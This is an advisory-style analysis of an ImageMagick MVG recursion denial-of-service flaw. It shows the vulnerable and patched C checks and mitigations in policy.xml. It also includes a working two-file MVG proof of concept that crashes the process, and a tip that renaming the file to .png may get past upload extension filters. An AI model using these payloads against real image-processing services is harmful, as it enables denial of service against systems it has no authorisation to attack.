ImageMagick forgot to stop MVG files from loading other MVG files. By creating two tiny text files that reference each other, an attacker can trigger infinite recursion, exhausting the stack and crashing the process. Fix: Upgrade to 7.1.2-12 or disable the MVG coder in policy.xml.
A classic recursion vulnerability in ImageMagick's MVG (Magick Vector Graphics) parser allows for infinite loops via self-referential image primitives. While officially rated as 'Local' access, this creates a trivial Denial of Service vector for any web application processing user-uploaded images.
ImageMagick is the ubiquitous Swiss Army Knife of image processing. It runs on practically every server that handles user uploads, thumbnail generation, or format conversion. It supports over 200 formats, from the mundane (PNG, JPEG) to the esoteric. One of those esoteric formats is MVG (Magick Vector Graphics).
MVG isn't really an image format in the traditional sense; it's a script. It's a text-based vector language that tells ImageMagick how to draw lines, circles, and—crucially—how to composite other images onto the canvas. It's a powerful feature designed for complex compositions.
But here's the kicker: What happens when an MVG script tells ImageMagick to load another MVG script? And what if that second script tells it to load the first one back? You get an infinite loop, a stack overflow, and a dead worker process. It's the software equivalent of two mirrors facing each other, screaming into the void until the universe (or the kernel) decides it has had enough.
The vulnerability lives in MagickCore/draw.c, specifically within the DrawPrimitive function. This function is responsible for parsing the drawing commands inside an MVG file. One of these commands is image, which allows the script to overlay an external image file.
When DrawPrimitive encounters an image command, it calls ReadImage to load the referenced file. ReadImage looks at the file header (or extension), figures out it's an MVG, and passes it right back to the MVG parser... which calls DrawPrimitive again.
Prior to version 7.1.2-12, there was no guard rail here. The developers had blocked protocols like ftp and http to prevent Server-Side Request Forgery (SSRF) in this context, but they forgot to check if the file being loaded was another MVG. This omission allowed for uncontrolled recursion (CWE-674). The stack grows with every call until it hits the operating system's limit (usually 8MB on Linux), resulting in an immediate Segmentation fault.
Let's look at the fix in commit 204718c. It’s embarrassingly simple, which usually implies the bug was embarrassingly obvious in hindsight. The patch adds a single check to the exclusion list inside MagickCore/draw.c.
Before the fix, the code prevented ftp, http, and https (and vid) to avoid network-based shenanigans, but left the door wide open for the file format itself:
/* Vulnerable Logic */
if ((LocaleCompare(clone_info->magick,"ftp") != 0) &&
(LocaleCompare(clone_info->magick,"http") != 0) &&
(LocaleCompare(clone_info->magick,"https") != 0) &&
(LocaleCompare(clone_info->magick,"vid") != 0))
composite_images=ReadImage(clone_info,exception);The patch simply adds mvg to the "Do Not Fly" list:
if ((LocaleCompare(clone_info->magick,"ftp") != 0) &&
(LocaleCompare(clone_info->magick,"http") != 0) &&
(LocaleCompare(clone_info->magick,"https") != 0) &&
+ (LocaleCompare(clone_info->magick,"mvg") != 0) &&
(LocaleCompare(clone_info->magick,"vid") != 0))
composite_images=ReadImage(clone_info,exception);This LocaleCompare check ensures that if the format detected (clone_info->magick) is MVG, the ReadImage call is skipped entirely. The recursion chain is broken before it can even start the second iteration.
Exploiting this doesn't require complex memory corruption techniques or ROP chains. It just requires two text files. We rely on the image primitive in MVG. The syntax is generally image <composite_op> <x>,<y> <width>,<height> 'filename'.
First, we create trigger1.mvg:
push graphic-context
image over 0,0 0,0 'trigger2.mvg'
pop graphic-contextNext, we create its evil twin, trigger2.mvg:
push graphic-context
image over 0,0 0,0 'trigger1.mvg'
pop graphic-context[!NOTE] You can actually do this with a single file referencing itself, but the dual-file method is often more reliable against simple deduplication logic.
Now, run it against a vulnerable version:
$ magick identify trigger1.mvg
Segmentation fault (core dumped)While the CVSS score marks this as "Local", consider a web application that allows profile picture uploads. If you upload trigger1.mvg (renaming it to trigger1.png might bypass basic extension filters, but ImageMagick's magic-byte detection will likely still sniff it out as MVG or text), the server tries to process it. It follows the link to trigger2.mvg (if you can upload that too), and pop goes the worker process.
If the server isn't using strict process isolation or resource limits, you can effectively TKO the image processing microservice.
The official fix is to upgrade to ImageMagick 7.1.2-12. However, history has taught us that ImageMagick has a vast attack surface. Today it's MVG recursion; tomorrow it's a Ghostscript delegate issue.
The most robust defense for any infrastructure using ImageMagick is to aggressively restrict the allowed "coders" (formats) via policy.xml. Do you really need your web server to process MVG, MSL, or ephemeral vector formats? Probably not.
Add this to your /etc/ImageMagick-7/policy.xml inside the <policymap> section:
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="coder" rights="none" pattern="HTTPS" />This disables the MVG coder entirely. Even if the vulnerability exists in the binary, the policy enforcement layer stops the parser from even attempting to read the file. It's the difference between wearing a bulletproof vest and just not standing in front of the gun.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
ImageMagick ImageMagick Studio LLC | < 7.1.2-12 | 7.1.2-12 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-674 (Uncontrolled Recursion) |
| CVSS v3.1 | 4.0 (Medium) |
| Attack Vector | Local (Remote via Upload) |
| Impact | Denial of Service (Stack Exhaustion) |
| EPSS Score | 0.00013 |
| Patch Commit | 204718c |
Get the latest CVE analysis reports delivered to your inbox.